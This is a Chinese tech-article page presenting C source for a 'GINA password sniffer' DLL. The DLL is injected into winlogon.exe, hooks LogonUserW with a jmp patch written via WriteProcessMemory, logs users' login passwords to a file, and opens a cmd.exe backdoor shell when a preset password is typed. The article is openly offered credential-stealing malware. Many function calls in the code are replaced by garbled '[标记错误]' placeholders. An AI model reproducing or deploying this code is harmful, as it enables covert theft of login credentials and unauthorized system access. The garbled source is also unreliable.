当前位置:首页 >> 技术文章

阅读文章

GINA PassWord Sniffer(截取登陆密码)

栏目:技术文章  作者:东方标准  时间:2009-12-27 04:21:05


GINA PassWord Sniffer(截取登陆密码)

dll源码,编译后插入winlogon.exe进程即可记录登陆密码记录。

需要在相同目录保存一个ntuserlog.config的配置文件,如:

enable=1
cmdline=cmd.exe
password=Ghash
logfile=c:\windows\sysem32\userpwdlog.log

文件末尾的回车必不可少。若enable为1 则可以password获得一个shell。

用了HOOK的技术,HOOK的是LogonUserW。


//VC-DLL
#include <windows.h>
#include <stdio.h>
#include <time.h>

int backdoor;
char shell[1023],passwd[1023];
char logfile[1023];

FILE *fp;
char buf1[127],buf2[127];
char pwd[1023];
unsigned long LUW;

BOOL
WINAPI
MyLogonUserW (
    LPWSTR lpszUsername,
    LPWSTR lpszDomain,
    LPWSTR lpszPassword,
    DWORD dwLogonType,
    DWORD dwLogonProvider,
    PHANDLE phToken
    ){
      [标记错误:_tzset];
      [标记错误:_strtime];
   [标记错误:_strdate];
      fp=[标记错误:fopen];
           [标记错误:fprintf];
   [标记错误:fclose];
   [标记错误:sprintf];
   [标记错误:if]
    WinE[标记错误:xec];
      __asm{
             pop edi
             pop esi
             pop ebx
             jmp LUW
            }
     }
    
    
HINSTANCE hInstance;

int WINAPI DllMain (HINSTANCE hInst, DWORD fdwReason, PVOID pvReserved)
{ unsigned char m;
   unsigned long i,t,s;
   LUW=(unsigned long)LogonUserW;
LUW+=5;
fp=[标记错误:fopen];
[标记错误:fscanf];
[标记错误:fscanf];
[标记错误:fscanf];
[标记错误:fscanf];
[标记错误:fclose];
switch (fdwReason)
{
    case DLL_PROCESS_ATTACH:
     hInstance=hInst;
     m=0xe9;
      s=(unsigned long)LogonUserW;
    t=(unsigned long)MyLogonUserW-s-5;
     WriteProcessM[标记错误:emory]s,&m,1,&i);
     s++;
     WriteProcessM[标记错误:emory]s,&t,4,&i);
     break;
};
return TRUE;
}